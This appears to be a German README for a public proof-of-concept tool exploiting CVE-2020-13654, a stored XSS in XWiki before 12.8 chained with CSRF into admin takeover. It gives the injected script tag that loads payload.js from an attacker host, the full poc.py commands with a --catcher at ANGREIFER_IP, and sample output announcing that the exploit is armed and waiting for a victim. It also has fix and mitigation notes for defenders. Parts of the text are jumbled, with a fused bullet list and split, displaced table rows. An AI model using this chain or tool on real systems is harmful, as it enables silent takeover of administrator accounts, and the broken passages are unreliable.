
CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover
Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform vor Version 12.8 wendet keine HTML-Kodierung auf benutzergesteuerte Felder im Profileditor an. Das im Rahmen der Forschung bestätigte betroffene Feld ist "Firma" (unter Bearbeiten → Persönliche Informationen), aber andere Profilfelder teilen denselben Codepfad.
Wenn eine Profilseite gerendert wird, wird der gespeicherte Feldwert ohne Aufruf von $escapetool.xml() oder einer entsprechenden Maskierung direkt in das HTML ausgegeben. Ein Angreifer mit einem beliebigen authentifizierten Konto, einschließlich eines frisch selbstregistrierten, kann beliebiges HTML/JavaScript speichern, das bei jedem Besucher der Profilseite, einschließlich Administratoren, persistent im Browser ausgeführt wird.
Grundursache in der betroffenen Velocity-Vorlage:
## Angreifbar (< 12.8): Wert direkt ins DOM geschrieben
$xwiki.getUserProperty($user, "company")
## Behoben (≥ 12.8): Wert vor Ausgabe HTML-kodiert
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Feld | Wert |
|---|---|
| Produkt | XWiki Platform |
| Betroffene Versionen | < 12.8 |
| Behoben in | 12.8 |
| CVSSv3-Wertung |
Dieser PoC demonstriert eine Zero-Click-Privilege-Escalation-Kette:
Niedrigprivilegiertes Angreiferkonto
│
├─ speichert <script src="http://angreifer/payload.js"> im Feld "Firma"
▼
XWiki-Profilseite (vergiftet)
│
├─ Admin navigiert zur Seite (z. B. über Benutzerliste oder Support-Ticket)
▼
Payload wird in der Admin-Browser-Sitzung ausgeführt
│
├─ ruft /bin/view/XWiki/XWikiAdminGroup ab → extrahiert CSRF-Token
├─ sendet POST mit form_token + xpage=adduorg + name=angreifer → fügt Angreifer zu XWikiAdminGroup hinzu
│
▼
Angreifer hat nun vollen Admin-Zugriff
Es ist keine Admin-Interaktion über einen einzigen Seitenbesuch hinaus erforderlich.
poc.py ist ein eigenständiges Exploit-Skript. Es:
Company, wobei alle anderen vorhandenen Feldwerte erhalten bleiben/payload.js) ausliefert und eingehende Beacons protokolliertWenn der Admin die URL besucht, lädt das gespeicherte <script src="...">-Tag payload.js vom Server des Angreifers. Die Payload wird im authentifizierten Browser-Kontext des Admins ausgeführt, fügt das Angreiferkonto stillschweigend zu XWikiAdminGroup hinzu und sendet das Ergebnis als Beacon zurück.
pip install -r requirements.txt
Mit Selbstregistrierung (kein vorhandenes Konto nötig):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ANGREIFER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
Mit einem vorhandenen niedrigprivilegierten Konto:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ANGREIFER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registriere Konto 'hacker' ...
✅ Registrierung erfolgreich.
[*] Authentifiziere als 'hacker' ...
✅ Authentifiziert. Sitzung: {'JSESSIONID': 'ABC...'}
[*] Injiziere Payload in Profil von 'hacker' ...
✅ Payload gespeichert: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Überprüfe gespeicherte Payload ...
✅ Payload im Seitenquelltext bestätigt.
════════════════════════════════════════════════════════════
EXPLOIT BEWAFFNET — WARTE AUF OPFER
Teile diese URL mit (oder warte auf) einen Administrator:
>>> http://TARGET:8080/bin/view/XWiki/hacker
Bei Auslösung wird das Angreiferkonto 'hacker'
stillschweigend zu XWikiAdminGroup hinzugefügt.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload wird im Browser des Opfers ausgeführt | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION ERFOLGREICH | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Upgrade auf XWiki Platform ≥ 12.8.
Der Fix wendet $escapetool.xml() auf alle benutzergesteuerten Profilfelder an, bevor diese gerendert werden, und verhindert so die Injektion von rohem HTML/JavaScript.
Wenn ein sofortiges Upgrade nicht möglich ist, schränken Sie die Selbstregistrierung ein und begrenzen Sie die Profilsichtbarkeit auf vertrauenswürdige Benutzer über das Zugriffsrechtsmanagement von XWiki.
| Datum | Ereignis |
|---|
Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Haftung für Missbrauch.
| 7.5 (Hoch) |
| CWE | CWE-116 — Fehlerhafte Kodierung oder Maskierung von Ausgabe |
| Argument | Erforderlich | Beschreibung |
|---|
--target | ✅ | XWiki-Basis-URL |
--catcher | ✅ | Vom Angreifer kontrollierte URL (zum Ausliefern von payload.js und Sammeln von Beacons) |
--username | ✅ | Benutzername des Angreiferkontos |
--password | ✅ | Passwort des Angreiferkontos |
--register | ✗ | Konto vor dem Ausnutzen automatisch registrieren |
--first-name | falls --register | Vorname bei Registrierung |
--last-name | falls --register | Nachname bei Registrierung |
--email | falls --register | E-Mail bei Registrierung |
| Mai 2020 | Schwachstelle entdeckt |
| Mai 2020 | An das XWiki-Sicherheitsteam gemeldet |
| Jul 2020 | In XWiki Platform 12.8 behoben |
| Nov 2020 | CVE-2020-13654 von MITRE vergeben |
| 30. Dez. 2020 | Öffentliche Offenlegung — nstsec.com |